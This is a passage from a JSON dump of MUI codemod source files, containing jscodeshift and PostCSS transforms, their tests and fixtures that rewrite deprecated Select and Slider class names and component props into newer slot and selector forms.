    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Select)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'selectClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiSelect-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' ~ ', '')\n                    .split('.')\n                    .map((className) => className.trim())\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' ~ ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' ~ .', cooked: ' ~ .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/select-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './select-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('select-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/actual.css",
    "content": ".MuiSelect-iconFilled {\n  color: red;\n}\n\n.MuiSelect-iconOutlined {\n  color: red;\n}\n\n.MuiSelect-iconStandard {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/actual.js",
    "content": "import { selectClasses } from '@mui/material/Select';\n\n('& .MuiSelect-iconFilled');\n('& .MuiSelect-iconOutlined');\n('& .MuiSelect-iconStandard');\n`& .${selectClasses.iconFilled}`;\n`& .${selectClasses.iconOutlined}`;\n`& .${selectClasses.iconStandard}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/expected.css",
    "content": " .MuiSelect-filled ~ .MuiSelect-icon {\n  color: red;\n}\n\n .MuiSelect-outlined ~ .MuiSelect-icon {\n  color: red;\n}\n\n .MuiSelect-standard ~ .MuiSelect-icon {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/expected.js",
    "content": "import { selectClasses } from '@mui/material/Select';\n\n(\"& .MuiSelect-filled ~ .MuiSelect-icon\");\n(\"& .MuiSelect-outlined ~ .MuiSelect-icon\");\n(\"& .MuiSelect-standard ~ .MuiSelect-icon\");\n`& .${selectClasses.filled} ~ .${selectClasses.icon}`;\n`& .${selectClasses.outlined} ~ .${selectClasses.icon}`;\n`& .${selectClasses.standard} ~ .${selectClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/package.actual.js",
    "content": "import { selectClasses } from '@org/ui/material/Select';\n\n('& .MuiSelect-iconFilled');\n('& .MuiSelect-iconOutlined');\n('& .MuiSelect-iconStandard');\n`& .${selectClasses.iconFilled}`;\n`& .${selectClasses.iconOutlined}`;\n`& .${selectClasses.iconStandard}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/test-cases/package.expected.js",
    "content": "import { selectClasses } from '@org/ui/material/Select';\n\n(\"& .MuiSelect-filled ~ .MuiSelect-icon\");\n(\"& .MuiSelect-outlined ~ .MuiSelect-icon\");\n(\"& .MuiSelect-standard ~ .MuiSelect-icon\");\n`& .${selectClasses.filled} ~ .${selectClasses.icon}`;\n`& .${selectClasses.outlined} ~ .${selectClasses.icon}`;\n`& .${selectClasses.standard} ~ .${selectClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/index.js",
    "content": "export { default } from './slider-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiSlider-thumbSizeSmall',\n    replacementSelector: '.MuiSlider-sizeSmall > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbSizeMedium',\n    replacementSelector: '.MuiSlider-sizeMedium > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorPrimary',\n    replacementSelector: '.MuiSlider-colorPrimary > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorSecondary',\n    replacementSelector: '.MuiSlider-colorSecondary > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorError',\n    replacementSelector: '.MuiSlider-colorError > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorInfo',\n    replacementSelector: '.MuiSlider-colorInfo > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorSuccess',\n    replacementSelector: '.MuiSlider-colorSuccess > .MuiSlider-thumb',\n  },\n  {\n    deprecatedClass: ' .MuiSlider-thumbColorWarning',\n    replacementSelector: '.MuiSlider-colorWarning > .MuiSlider-thumb',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Slider classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/slider-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Slider)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'sliderClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiSlider-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n\n                    if (replacementSelector.includes(' > ')) {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      );\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/slider-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './slider-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('slider-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/actual.css",
    "content": ".MuiSlider-root .MuiSlider-thumbSizeSmall {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbSizeMedium {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorPrimary {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorSecondary {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorError {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorInfo {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorSuccess {\n  color: red;\n}\n\n.MuiSlider-root .MuiSlider-thumbColorWarning {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/actual.js",
    "content": "import { sliderClasses } from '@mui/material/Slider';\n\n('& .MuiSlider-thumbSizeSmall');\n('& .MuiSlider-thumbSizeMedium');\n('& .MuiSlider-thumbColorPrimary');\n('& .MuiSlider-thumbColorSecondary');\n('& .MuiSlider-thumbColorError');\n('& .MuiSlider-thumbColorInfo');\n('& .MuiSlider-thumbColorSuccess');\n('& .MuiSlider-thumbColorWarning');\n`& .${sliderClasses.thumbSizeSmall}`;\n`& .${sliderClasses.thumbSizeMedium}`;\n`& .${sliderClasses.thumbColorPrimary}`;\n`& .${sliderClasses.thumbColorSecondary}`;\n`& .${sliderClasses.thumbColorError}`;\n`& .${sliderClasses.thumbColorInfo}`;\n`& .${sliderClasses.thumbColorSuccess}`;\n`& .${sliderClasses.thumbColorWarning}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/expected.css",
    "content": ".MuiSlider-root.MuiSlider-sizeSmall > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-sizeMedium > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorPrimary > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorSecondary > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorError > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorInfo > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorSuccess > .MuiSlider-thumb {\n  color: red;\n}\n\n.MuiSlider-root.MuiSlider-colorWarning > .MuiSlider-thumb {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/expected.js",
    "content": "import { sliderClasses } from '@mui/material/Slider';\n\n(\"&.MuiSlider-sizeSmall > .MuiSlider-thumb\");\n(\"&.MuiSlider-sizeMedium > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorPrimary > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorSecondary > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorError > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorInfo > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorSuccess > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorWarning > .MuiSlider-thumb\");\n`&.${sliderClasses.sizeSmall} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.sizeMedium} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorPrimary} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorSecondary} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorError} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorInfo} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorSuccess} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorWarning} > .${sliderClasses.thumb}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/package.actual.js",
    "content": "import { sliderClasses } from '@org/ui/material/Slider';\n\n('& .MuiSlider-thumbSizeSmall');\n('& .MuiSlider-thumbSizeMedium');\n('& .MuiSlider-thumbColorPrimary');\n('& .MuiSlider-thumbColorSecondary');\n('& .MuiSlider-thumbColorError');\n('& .MuiSlider-thumbColorInfo');\n('& .MuiSlider-thumbColorSuccess');\n('& .MuiSlider-thumbColorWarning');\n`& .${sliderClasses.thumbSizeSmall}`;\n`& .${sliderClasses.thumbSizeMedium}`;\n`& .${sliderClasses.thumbColorPrimary}`;\n`& .${sliderClasses.thumbColorSecondary}`;\n`& .${sliderClasses.thumbColorError}`;\n`& .${sliderClasses.thumbColorInfo}`;\n`& .${sliderClasses.thumbColorSuccess}`;\n`& .${sliderClasses.thumbColorWarning}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-classes/test-cases/package.expected.js",
    "content": "import { sliderClasses } from '@org/ui/material/Slider';\n\n(\"&.MuiSlider-sizeSmall > .MuiSlider-thumb\");\n(\"&.MuiSlider-sizeMedium > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorPrimary > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorSecondary > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorError > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorInfo > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorSuccess > .MuiSlider-thumb\");\n(\"&.MuiSlider-colorWarning > .MuiSlider-thumb\");\n`&.${sliderClasses.sizeSmall} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.sizeMedium} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorPrimary} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorSecondary} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorError} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorInfo} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorSuccess} > .${sliderClasses.thumb}`;\n`&.${sliderClasses.colorWarning} > .${sliderClasses.thumb}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/index.js",
    "content": "export { default } from './slider-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/slider-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Slider',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/slider-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './slider-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('slider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] slider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] slider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/actual.js",
    "content": "import Slider from '@mui/material/Slider';\n\n<Slider\n  components={{ Track: ComponentsTrack }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps, track: slotsTrackProps }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps, track: slotsTrackProps }}\n  componentsProps={{ track: componentsTrackProps, rail: componentsRailProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/expected.js",
    "content": "import Slider from '@mui/material/Slider';\n\n<Slider\n  slots={{\n    track: ComponentsTrack\n  }}\n  slotProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{\n    rail: SlotsRail,\n    track: ComponentsTrack\n  }}\n  slotProps={{\n    rail: slotsRailProps,\n    track: componentsTrackProps\n  }} />;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  slotProps={{ rail: slotsRailProps, track: {\n    ...componentsTrackProps,\n    ...slotsTrackProps\n  } }} />;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  slotProps={{ track: {\n    ...componentsTrackProps,\n    ...slotsTrackProps\n  }, rail: {\n    ...componentsRailProps,\n    ...slotsRailProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/package.actual.js",
    "content": "import Slider from '@org/ui/material/Slider';\n\n<Slider\n  components={{ Track: ComponentsTrack }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps, track: slotsTrackProps }}\n  componentsProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  components={{ Track: ComponentsTrack }}\n  slotProps={{ rail: slotsRailProps, track: slotsTrackProps }}\n  componentsProps={{ track: componentsTrackProps, rail: componentsRailProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/package.expected.js",
    "content": "import Slider from '@org/ui/material/Slider';\n\n<Slider\n  slots={{\n    track: ComponentsTrack\n  }}\n  slotProps={{ track: componentsTrackProps }}\n/>;\n<Slider\n  slots={{\n    rail: SlotsRail,\n    track: ComponentsTrack\n  }}\n  slotProps={{\n    rail: slotsRailProps,\n    track: componentsTrackProps\n  }} />;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  slotProps={{ rail: slotsRailProps, track: {\n    ...componentsTrackProps,\n    ...slotsTrackProps\n  } }} />;\n<Slider\n  slots={{ rail: SlotsRail, track: SlotsTrack }}\n  slotProps={{ track: {\n    ...componentsTrackProps,\n    ...slotsTrackProps\n  }, rail: {\n    ...componentsRailProps,\n    ...slotsRailProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/theme.actual.js",
